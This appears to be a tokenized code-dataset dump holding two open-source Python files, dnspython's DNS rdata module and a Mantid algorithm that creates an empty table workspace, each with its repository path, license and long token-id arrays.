0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
watchamakulit02/namebench
nb_third_party/dns/rdata.py
215
14860
# Copyright (C) 2001-2007, 2009, 2010 Nominum, Inc. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose with or without fee is hereby granted, # provided that the above copyright notice and this permission notice # appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """DNS rdata. @var _rdata_modules: A dictionary mapping a (rdclass, rdtype) tuple to the module which implements that type. @type _rdata_modules: dict @var _module_prefix: The prefix to use when forming modules names. The default is 'dns.rdtypes'. Changing this value will break the library. @type _module_prefix: string @var _hex_chunk: At most this many octets that will be represented in each chunk of hexstring that _hexify() produces before whitespace occurs. @type _hex_chunk: int""" import cStringIO import dns.exception import dns.rdataclass import dns.rdatatype import dns.tokenizer _hex_chunksize = 32 def _hexify(data, chunksize=None): """Convert a binary string into its hex encoding, broken up into chunks of I{chunksize} characters separated by a space. @param data: the binary string @type data: string @param chunksize: the chunk size. Default is L{dns.rdata._hex_chunksize} @rtype: string """ if chunksize is None: chunksize = _hex_chunksize hex = data.encode('hex_codec') l = len(hex) if l > chunksize: chunks = [] i = 0 while i < l: chunks.append(hex[i : i + chunksize]) i += chunksize hex = ' '.join(chunks) return hex _base64_chunksize = 32 def _base64ify(data, chunksize=None): """Convert a binary string into its base64 encoding, broken up into chunks of I{chunksize} characters separated by a space. @param data: the binary string @type data: string @param chunksize: the chunk size. Default is L{dns.rdata._base64_chunksize} @rtype: string """ if chunksize is None: chunksize = _base64_chunksize b64 = data.encode('base64_codec') b64 = b64.replace('\n', '') l = len(b64) if l > chunksize: chunks = [] i = 0 while i < l: chunks.append(b64[i : i + chunksize]) i += chunksize b64 = ' '.join(chunks) return b64 __escaped = { '"' : True, '\\' : True, } def _escapify(qstring): """Escape the characters in a quoted string which need it. @param qstring: the string @type qstring: string @returns: the escaped string @rtype: string """ text = '' for c in qstring: if c in __escaped: text += '\\' + c elif ord(c) >= 0x20 and ord(c) < 0x7F: text += c else: text += '\\%03d' % ord(c) return text def _truncate_bitmap(what): """Determine the index of greatest byte that isn't all zeros, and return the bitmap that contains all the bytes less than that index. @param what: a string of octets representing a bitmap. @type what: string @rtype: string """ for i in xrange(len(what) - 1, -1, -1): if what[i] != '\x00': break return ''.join(what[0 : i + 1]) class Rdata(object): """Base class for all DNS rdata types. """ __slots__ = ['rdclass', 'rdtype'] def __init__(self, rdclass, rdtype): """Initialize an rdata. @param rdclass: The rdata class @type rdclass: int @param rdtype: The rdata type @type rdtype: int """ self.rdclass = rdclass self.rdtype = rdtype def covers(self): """DNS SIG/RRSIG rdatas apply to a specific type; this type is returned by the covers() function. If the rdata type is not SIG or RRSIG, dns.rdatatype.NONE is returned. This is useful when creating rdatasets, allowing the rdataset to contain only RRSIGs of a particular type, e.g. RRSIG(NS). @rtype: int """ return dns.rdatatype.NONE def extended_rdatatype(self): """Return a 32-bit type value, the least significant 16 bits of which are the ordinary DNS type, and the upper 16 bits of which are the "covered" type, if any. @rtype: int """ return self.covers() << 16 | self.rdtype def to_text(self, origin=None, relativize=True, **kw): """Convert an rdata to text format. @rtype: string """ raise NotImplementedError def to_wire(self, file, compress = None, origin = None): """Convert an rdata to wire format. @rtype: string """ raise NotImplementedError def to_digestable(self, origin = None): """Convert rdata to a format suitable for digesting in hashes. This is also the DNSSEC canonical form.""" f = cStringIO.StringIO() self.to_wire(f, None, origin) return f.getvalue() def validate(self): """Check that the current contents of the rdata's fields are valid. If you change an rdata by assigning to its fields, it is a good idea to call validate() when you are done making changes. """ dns.rdata.from_text(self.rdclass, self.rdtype, self.to_text()) def __repr__(self): covers = self.covers() if covers == dns.rdatatype.NONE: ctext = '' else: ctext = '(' + dns.rdatatype.to_text(covers) + ')' return '<DNS ' + dns.rdataclass.to_text(self.rdclass) + ' ' + \ dns.rdatatype.to_text(self.rdtype) + ctext + ' rdata: ' + \ str(self) + '>' def __str__(self): return self.to_text() def _cmp(self, other): """Compare an rdata with another rdata of the same rdtype and rdclass. Return < 0 if self < other in the DNSSEC ordering, 0 if self == other, and > 0 if self > other. """ raise NotImplementedError def __eq__(self, other): if not isinstance(other, Rdata): return False if self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return False return self._cmp(other) == 0 def __ne__(self, other): if not isinstance(other, Rdata): return True if self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return True return self._cmp(other) != 0 def __lt__(self, other): if not isinstance(other, Rdata) or \ self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return NotImplemented return self._cmp(other) < 0 def __le__(self, other): if not isinstance(other, Rdata) or \ self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return NotImplemented return self._cmp(other) <= 0 def __ge__(self, other): if not isinstance(other, Rdata) or \ self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return NotImplemented return self._cmp(other) >= 0 def __gt__(self, other): if not isinstance(other, Rdata) or \ self.rdclass != other.rdclass or \ self.rdtype != other.rdtype: return NotImplemented return self._cmp(other) > 0 def from_text(cls, rdclass, rdtype, tok, origin = None, relativize = True): """Build an rdata object from text format. @param rdclass: The rdata class @type rdclass: int @param rdtype: The rdata type @type rdtype: int @param tok: The tokenizer @type tok: dns.tokenizer.Tokenizer @param origin: The origin to use for relative names @type origin: dns.name.Name @param relativize: should names be relativized? @type relativize: bool @rtype: dns.rdata.Rdata instance """ raise NotImplementedError from_text = classmethod(from_text) def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin = None): """Build an rdata object from wire format @param rdclass: The rdata class @type rdclass: int @param rdtype: The rdata type @type rdtype: int @param wire: The wire-format message @type wire: string @param current: The offet in wire of the beginning of the rdata. @type current: int @param rdlen: The length of the wire-format rdata @type rdlen: int @param origin: The origin to use for relative names @type origin: dns.name.Name @rtype: dns.rdata.Rdata instance """ raise NotImplementedError from_wire = classmethod(from_wire) def choose_relativity(self, origin = None, relativize = True): """Convert any domain names in the rdata to the specified relativization. """ pass class GenericRdata(Rdata): """Generate Rdata Class This class is used for rdata types for which we have no better implementation. It implements the DNS "unknown RRs" scheme. """ __slots__ = ['data'] def __init__(self, rdclass, rdtype, data): super(GenericRdata, self).__init__(rdclass, rdtype) self.data = data def to_text(self, origin=None, relativize=True, **kw): return r'\# %d ' % len(self.data) + _hexify(self.data) def from_text(cls, rdclass, rdtype, tok, origin = None, relativize = True): token = tok.get() if not token.is_identifier() or token.value != '\#': raise dns.exception.SyntaxError(r'generic rdata does not start with \#') length = tok.get_int() chunks = [] while 1: token = tok.get() if token.is_eol_or_eof(): break chunks.append(token.value) hex = ''.join(chunks) data = hex.decode('hex_codec') if len(data) != length: raise dns.exception.SyntaxError('generic rdata hex data has wrong length') return cls(rdclass, rdtype, data) from_text = classmethod(from_text) def to_wire(self, file, compress = None, origin = None): file.write(self.data) def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin = None): return cls(rdclass, rdtype, wire[current : current + rdlen]) from_wire = classmethod(from_wire) def _cmp(self, other): return cmp(self.data, other.data) _rdata_modules = {} _module_prefix = 'dns.rdtypes' def get_rdata_class(rdclass, rdtype): def import_module(name): mod = __import__(name) components = name.split('.') for comp in components[1:]: mod = getattr(mod, comp) return mod mod = _rdata_modules.get((rdclass, rdtype)) rdclass_text = dns.rdataclass.to_text(rdclass) rdtype_text = dns.rdatatype.to_text(rdtype) rdtype_text = rdtype_text.replace('-', '_') if not mod: mod = _rdata_modules.get((dns.rdatatype.ANY, rdtype)) if not mod: try: mod = import_module('.'.join([_module_prefix, rdclass_text, rdtype_text])) _rdata_modules[(rdclass, rdtype)] = mod except ImportError: try: mod = import_module('.'.join([_module_prefix, 'ANY', rdtype_text])) _rdata_modules[(dns.rdataclass.ANY, rdtype)] = mod except ImportError: mod = None if mod: cls = getattr(mod, rdtype_text) else: cls = GenericRdata return cls def from_text(rdclass, rdtype, tok, origin = None, relativize = True): """Build an rdata object from text format. This function attempts to dynamically load a class which implements the specified rdata class and type. If there is no class-and-type-specific implementation, the GenericRdata class is used. Once a class is chosen, its from_text() class method is called with the parameters to this function. @param rdclass: The rdata class @type rdclass: int @param rdtype: The rdata type @type rdtype: int @param tok: The tokenizer @type tok: dns.tokenizer.Tokenizer @param origin: The origin to use for relative names @type origin: dns.name.Name @param relativize: Should names be relativized? @type relativize: bool @rtype: dns.rdata.Rdata instance""" if isinstance(tok, str): tok = dns.tokenizer.Tokenizer(tok) cls = get_rdata_class(rdclass, rdtype) if cls != GenericRdata: # peek at first token token = tok.get() tok.unget(token) if token.is_identifier() and \ token.value == r'\#': # # Known type using the generic syntax. Extract the # wire form from the generic syntax, and then run # from_wire on it. # rdata = GenericRdata.from_text(rdclass, rdtype, tok, origin, relativize) return from_wire(rdclass, rdtype, rdata.data, 0, len(rdata.data), origin) return cls.from_text(rdclass, rdtype, tok, origin, relativize) def from_wire(rdclass, rdtype, wire, current, rdlen, origin = None): """Build an rdata object from wire format This function attempts to dynamically load a class which implements the specified rdata class and type. If there is no class-and-type-specific implementation, the GenericRdata class is used. Once a class is chosen, its from_wire() class method is called with the parameters to this function. @param rdclass: The rdata class @type rdclass: int @param rdtype: The rdata type @type rdtype: int @param wire: The wire-format message @type wire: string @param current: The offet in wire of the beginning of the rdata. @type current: int @param rdlen: The length of the wire-format rdata @type rdlen: int @param origin: The origin to use for relative names @type origin: dns.name.Name @rtype: dns.rdata.Rdata instance""" cls = get_rdata_class(rdclass, rdtype) return cls.from_wire(rdclass, rdtype, wire, current, rdlen, origin)
apache-2.0
[ 3, 1898, 334, 35, 9, 12521, 13, 9488, 12, 8937, 12, 7129, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 624, 12323, 27020, 14, 199, 199, 32, 1391, 485, 23203, 63, 3112, 26, 437, 2600, 4412, 282, 334, 30186, 12, 22764, 9, 2008, 370, 199, 1589, 859, 1314, 9031, 626, 730, 14, 199, 32, 466, 485, 23203, 63, 3112, 26, 1211, 199, 32, 1391, 485, 578, 63, 1861, 26, 710, 2403, 370, 675, 1380, 1824, 316, 4621, 1561, 14, 221, 710, 199, 885, 365, 283, 5797, 14, 82, 5717, 1370, 221, 27854, 642, 574, 911, 2059, 314, 3555, 14, 199, 32, 466, 485, 578, 63, 1861, 26, 1059, 199, 32, 1391, 485, 4097, 63, 4604, 26, 2854, 4750, 642, 5002, 27135, 626, 911, 506, 11159, 315, 1924, 199, 4604, 402, 6318, 875, 626, 485, 4097, 2021, 342, 16904, 2544, 8139, 11058, 14, 199, 32, 466, 485, 4097, 63, 4604, 26, 1109, 624, 199, 199, 646, 15073, 199, 199, 646, 6715, 14, 1971, 199, 646, 6715, 14, 23203, 533, 199, 646, 6715, 14, 82, 14184, 199, 646, 6715, 14, 13771, 199, 199, 63, 4097, 63, 30617, 275, 4337, 199, 199, 318, 485, 4097, 2021, 8, 576, 12, 22064, 29, 403, 304, 272, 408, 7306, 282, 3366, 1059, 1901, 2399, 6318, 2644, 12, 10529, 1536, 1901, 8291, 272, 402, 473, 91, 30617, 93, 4110, 11673, 701, 282, 4601, 14, 339, 768, 635, 666, 26, 314, 3366, 1059, 272, 768, 466, 666, 26, 1059, 272, 768, 635, 22064, 26, 314, 3728, 1568, 14, 221, 3758, 365, 491, 91, 5797, 14, 23203, 423, 4097, 63, 30617, 93, 272, 768, 4500, 26, 1059, 272, 408, 339, 340, 22064, 365, 488, 26, 267, 22064, 275, 485, 4097, 63, 30617, 272, 6318, 275, 666, 14, 2143, 360, 4097, 63, 9276, 358, 272, 634, 275, 822, 8, 4097, 9, 272, 340, 634, 690, 22064, 26, 267, 8291, 275, 942, 267, 284, 275, 378, 267, 1830, 284, 665, 634, 26, 288, 8291, 14, 740, 8, 4097, 59, 73, 520, 284, 435, 22064, 566, 288, 284, 847, 22064, 267, 6318, 275, 283, 1987, 904, 8, 10660, 9, 272, 372, 6318, 199, 199, 63, 1095, 772, 63, 30617, 275, 4337, 199, 199, 318, 485, 1095, 772, 2021, 8, 576, 12, 22064, 29, 403, 304, 272, 408, 7306, 282, 3366, 1059, 1901, 2399, 1300, 772, 2644, 12, 10529, 1536, 1901, 8291, 272, 402, 473, 91, 30617, 93, 4110, 11673, 701, 282, 4601, 14, 339, 768, 635, 666, 26, 314, 3366, 1059, 272, 768, 466, 666, 26, 1059, 272, 768, 635, 22064, 26, 314, 3728, 1568, 14, 221, 3758, 365, 272, 491, 91, 5797, 14, 23203, 423, 1095, 772, 63, 30617, 93, 272, 768, 4500, 26, 1059, 272, 408, 339, 340, 22064, 365, 488, 26, 267, 22064, 275, 485, 1095, 772, 63, 30617, 272, 330, 772, 275, 666, 14, 2143, 360, 1095, 772, 63, 9276, 358, 272, 330, 772, 275, 330, 772, 14, 1814, 2258, 78, 297, 4074, 272, 634, 275, 822, 8, 66, 772, 9, 272, 340, 634, 690, 22064, 26, 267, 8291, 275, 942, 267, 284, 275, 378, 267, 1830, 284, 665, 634, 26, 288, 8291, 14, 740, 8, 66, 772, 59, 73, 520, 284, 435, 22064, 566, 288, 284, 847, 22064, 267, 330, 772, 275, 283, 1987, 904, 8, 10660, 9, 272, 372, 330, 772, 199, 199, 363, 13572, 275, 469, 272, 14788, 520, 715, 12, 272, 22548, 520, 715, 12, 272, 789, 199, 199, 318, 485, 24698, 2021, 8, 81, 875, 304, 272, 408, 10260, 314, 4110, 315, 282, 10999, 1059, 1314, 1929, 652, 14, 339, 768, 635, 1894, 875, 26, 314, 1059, 272, 768, 466, 1894, 875, 26, 1059, 272, 768, 5808, 26, 314, 11077, 1059, 272, 768, 4500, 26, 1059, 272, 408, 339, 1318, 275, 2125, 272, 367, 286, 315, 1894, 875, 26, 267, 340, 286, 315, 636, 13572, 26, 288, 1318, 847, 22548, 435, 286, 267, 916, 6206, 8, 67, 9, 2356, 378, 88, 1165, 436, 6206, 8, 67, 9, 665, 378, 88, 23, 38, 26, 288, 1318, 847, 286, 267, 587, 26, 288, 1318, 847, 6468, 5, 1644, 68, 7, 450, 6206, 8, 67, 9, 272, 372, 1318, 199, 199, 318, 485, 12517, 63, 20299, 8, 10058, 304, 272, 408, 21767, 314, 1478, 402, 486, 622, 270, 3696, 626, 5712, 1133, 1006, 10136, 12, 436, 272, 372, 314, 20810, 626, 3509, 1006, 314, 2783, 6656, 2419, 626, 1478, 14, 339, 768, 635, 4052, 26, 282, 1059, 402, 27135, 6144, 282, 20810, 14, 272, 768, 466, 4052, 26, 1059, 272, 768, 4500, 26, 1059, 272, 408, 339, 367, 284, 315, 4945, 8, 552, 8, 10058, 9, 446, 413, 12, 446, 17, 12, 446, 17, 304, 267, 340, 4052, 59, 73, 61, 1137, 1557, 88, 383, 356, 288, 2059, 272, 372, 6522, 904, 8, 10058, 59, 16, 520, 284, 435, 413, 566, 199, 199, 533, 820, 576, 8, 785, 304, 272, 408, 1563, 1021, 367, 1006, 10237, 27020, 2943, 14, 272, 408, 339, 636, 7257, 363, 275, 788, 30186, 297, 283, 82, 2271, 418, 339, 347, 636, 826, 721, 277, 12, 29320, 12, 22764, 304, 267, 408, 9345, 376, 27020, 14, 267, 768, 635, 29320, 26, 710, 27020, 1021, 267, 768, 466, 29320, 26, 1109 ]
[ 1898, 334, 35, 9, 12521, 13, 9488, 12, 8937, 12, 7129, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 624, 12323, 27020, 14, 199, 199, 32, 1391, 485, 23203, 63, 3112, 26, 437, 2600, 4412, 282, 334, 30186, 12, 22764, 9, 2008, 370, 199, 1589, 859, 1314, 9031, 626, 730, 14, 199, 32, 466, 485, 23203, 63, 3112, 26, 1211, 199, 32, 1391, 485, 578, 63, 1861, 26, 710, 2403, 370, 675, 1380, 1824, 316, 4621, 1561, 14, 221, 710, 199, 885, 365, 283, 5797, 14, 82, 5717, 1370, 221, 27854, 642, 574, 911, 2059, 314, 3555, 14, 199, 32, 466, 485, 578, 63, 1861, 26, 1059, 199, 32, 1391, 485, 4097, 63, 4604, 26, 2854, 4750, 642, 5002, 27135, 626, 911, 506, 11159, 315, 1924, 199, 4604, 402, 6318, 875, 626, 485, 4097, 2021, 342, 16904, 2544, 8139, 11058, 14, 199, 32, 466, 485, 4097, 63, 4604, 26, 1109, 624, 199, 199, 646, 15073, 199, 199, 646, 6715, 14, 1971, 199, 646, 6715, 14, 23203, 533, 199, 646, 6715, 14, 82, 14184, 199, 646, 6715, 14, 13771, 199, 199, 63, 4097, 63, 30617, 275, 4337, 199, 199, 318, 485, 4097, 2021, 8, 576, 12, 22064, 29, 403, 304, 272, 408, 7306, 282, 3366, 1059, 1901, 2399, 6318, 2644, 12, 10529, 1536, 1901, 8291, 272, 402, 473, 91, 30617, 93, 4110, 11673, 701, 282, 4601, 14, 339, 768, 635, 666, 26, 314, 3366, 1059, 272, 768, 466, 666, 26, 1059, 272, 768, 635, 22064, 26, 314, 3728, 1568, 14, 221, 3758, 365, 491, 91, 5797, 14, 23203, 423, 4097, 63, 30617, 93, 272, 768, 4500, 26, 1059, 272, 408, 339, 340, 22064, 365, 488, 26, 267, 22064, 275, 485, 4097, 63, 30617, 272, 6318, 275, 666, 14, 2143, 360, 4097, 63, 9276, 358, 272, 634, 275, 822, 8, 4097, 9, 272, 340, 634, 690, 22064, 26, 267, 8291, 275, 942, 267, 284, 275, 378, 267, 1830, 284, 665, 634, 26, 288, 8291, 14, 740, 8, 4097, 59, 73, 520, 284, 435, 22064, 566, 288, 284, 847, 22064, 267, 6318, 275, 283, 1987, 904, 8, 10660, 9, 272, 372, 6318, 199, 199, 63, 1095, 772, 63, 30617, 275, 4337, 199, 199, 318, 485, 1095, 772, 2021, 8, 576, 12, 22064, 29, 403, 304, 272, 408, 7306, 282, 3366, 1059, 1901, 2399, 1300, 772, 2644, 12, 10529, 1536, 1901, 8291, 272, 402, 473, 91, 30617, 93, 4110, 11673, 701, 282, 4601, 14, 339, 768, 635, 666, 26, 314, 3366, 1059, 272, 768, 466, 666, 26, 1059, 272, 768, 635, 22064, 26, 314, 3728, 1568, 14, 221, 3758, 365, 272, 491, 91, 5797, 14, 23203, 423, 1095, 772, 63, 30617, 93, 272, 768, 4500, 26, 1059, 272, 408, 339, 340, 22064, 365, 488, 26, 267, 22064, 275, 485, 1095, 772, 63, 30617, 272, 330, 772, 275, 666, 14, 2143, 360, 1095, 772, 63, 9276, 358, 272, 330, 772, 275, 330, 772, 14, 1814, 2258, 78, 297, 4074, 272, 634, 275, 822, 8, 66, 772, 9, 272, 340, 634, 690, 22064, 26, 267, 8291, 275, 942, 267, 284, 275, 378, 267, 1830, 284, 665, 634, 26, 288, 8291, 14, 740, 8, 66, 772, 59, 73, 520, 284, 435, 22064, 566, 288, 284, 847, 22064, 267, 330, 772, 275, 283, 1987, 904, 8, 10660, 9, 272, 372, 330, 772, 199, 199, 363, 13572, 275, 469, 272, 14788, 520, 715, 12, 272, 22548, 520, 715, 12, 272, 789, 199, 199, 318, 485, 24698, 2021, 8, 81, 875, 304, 272, 408, 10260, 314, 4110, 315, 282, 10999, 1059, 1314, 1929, 652, 14, 339, 768, 635, 1894, 875, 26, 314, 1059, 272, 768, 466, 1894, 875, 26, 1059, 272, 768, 5808, 26, 314, 11077, 1059, 272, 768, 4500, 26, 1059, 272, 408, 339, 1318, 275, 2125, 272, 367, 286, 315, 1894, 875, 26, 267, 340, 286, 315, 636, 13572, 26, 288, 1318, 847, 22548, 435, 286, 267, 916, 6206, 8, 67, 9, 2356, 378, 88, 1165, 436, 6206, 8, 67, 9, 665, 378, 88, 23, 38, 26, 288, 1318, 847, 286, 267, 587, 26, 288, 1318, 847, 6468, 5, 1644, 68, 7, 450, 6206, 8, 67, 9, 272, 372, 1318, 199, 199, 318, 485, 12517, 63, 20299, 8, 10058, 304, 272, 408, 21767, 314, 1478, 402, 486, 622, 270, 3696, 626, 5712, 1133, 1006, 10136, 12, 436, 272, 372, 314, 20810, 626, 3509, 1006, 314, 2783, 6656, 2419, 626, 1478, 14, 339, 768, 635, 4052, 26, 282, 1059, 402, 27135, 6144, 282, 20810, 14, 272, 768, 466, 4052, 26, 1059, 272, 768, 4500, 26, 1059, 272, 408, 339, 367, 284, 315, 4945, 8, 552, 8, 10058, 9, 446, 413, 12, 446, 17, 12, 446, 17, 304, 267, 340, 4052, 59, 73, 61, 1137, 1557, 88, 383, 356, 288, 2059, 272, 372, 6522, 904, 8, 10058, 59, 16, 520, 284, 435, 413, 566, 199, 199, 533, 820, 576, 8, 785, 304, 272, 408, 1563, 1021, 367, 1006, 10237, 27020, 2943, 14, 272, 408, 339, 636, 7257, 363, 275, 788, 30186, 297, 283, 82, 2271, 418, 339, 347, 636, 826, 721, 277, 12, 29320, 12, 22764, 304, 267, 408, 9345, 376, 27020, 14, 267, 768, 635, 29320, 26, 710, 27020, 1021, 267, 768, 466, 29320, 26, 1109, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
peterfpeterson/mantid
Framework/PythonInterface/plugins/algorithms/CreateEmptyTableWorkspace.py
3
1342
# Mantid Repository : https://github.com/mantidproject/mantid # # Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI, # NScD Oak Ridge National Laboratory, European Spallation Source, # Institut Laue - Langevin & CSNS, Institute of High Energy Physics, CAS # SPDX - License - Identifier: GPL - 3.0 + #pylint: disable=no-init from mantid.api import PythonAlgorithm, AlgorithmFactory, ITableWorkspaceProperty, WorkspaceFactory from mantid.kernel import Direction # Create an empty table workspace to be populated by a python script. class CreateEmptyTableWorkspace(PythonAlgorithm): def summary(self): return "Creates an empty TableWorkspace which can be populated with various "\ "types of information." def category(self): return 'Utility\\Workspaces' def seeAlso(self): return [ "DeleteTableRows","SortTableWorkspace" ] def PyInit(self): # Declare properties self.declareProperty(ITableWorkspaceProperty("OutputWorkspace", "", Direction.Output), "The name of the table workspace that will be created.") def PyExec(self): tableWS = WorkspaceFactory.createTable() self.setProperty("OutputWorkspace", tableWS) # Register algorithm with Mantid AlgorithmFactory.subscribe(CreateEmptyTableWorkspace)
gpl-3.0
[ 3, 603, 4466, 68, 24426, 520, 4178, 921, 5031, 14, 957, 15, 1237, 5700, 1715, 15, 1237, 5700, 199, 3, 199, 3, 1898, 1253, 1574, 27, 14894, 2281, 1311, 820, 85, 728, 18090, 4693, 17589, 16871, 31671, 738, 43, 6129, 12, 199, 3, 257, 653, 7181, 36, 593, 1151, 31196, 20548, 16871, 31671, 12, 31615, 290, 8360, 8408, 5800, 12, 199, 3, 257, 1010, 6329, 337, 7964, 310, 446, 491, 618, 11908, 1253, 17447, 2709, 12, 1010, 25585, 402, 16332, 662, 1372, 4312, 24309, 17378, 12, 27751, 199, 3, 6988, 19596, 446, 844, 446, 23285, 26, 14629, 446, 650, 14, 16, 435, 199, 3, 26324, 26, 3507, 29, 889, 13, 826, 199, 504, 2169, 5700, 14, 1246, 492, 2018, 11570, 12, 23823, 2927, 12, 473, 3186, 21058, 3697, 12, 9361, 2638, 2927, 199, 504, 2169, 5700, 14, 4989, 492, 25596, 414, 199, 199, 3, 2790, 376, 2701, 1817, 14466, 370, 506, 16460, 701, 282, 2366, 2884, 14, 421, 199, 533, 2790, 4699, 3186, 21058, 8, 4718, 11570, 304, 339, 347, 6212, 8, 277, 304, 267, 372, 298, 10607, 376, 2701, 6957, 21058, 1314, 883, 506, 16460, 543, 7750, 1867, 2049, 298, 1313, 402, 2556, 2122, 339, 347, 4637, 8, 277, 304, 267, 372, 283, 17505, 1103, 6517, 10749, 7, 339, 347, 1937, 31892, 8, 277, 304, 267, 372, 359, 298, 5392, 3186, 13405, 2266, 14376, 3186, 21058, 2, 1622, 339, 347, 1611, 9346, 8, 277, 304, 267, 327, 13966, 29200, 4382, 267, 291, 14, 16536, 3697, 8, 649, 461, 21058, 3697, 480, 2959, 21058, 401, 4873, 25596, 414, 14, 2959, 395, 2490, 298, 1918, 536, 402, 314, 1817, 14466, 626, 911, 506, 2737, 2685, 339, 347, 1611, 4858, 8, 277, 304, 267, 1817, 5035, 275, 9361, 2638, 2927, 14, 981, 3186, 342, 398, 291, 14, 21173, 480, 2959, 21058, 401, 1817, 5035, 9, 421, 199, 3, 11828, 5563, 543, 603, 4466, 68, 199, 11570, 2927, 14, 10108, 8, 2499, 4699, 3186, 21058, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 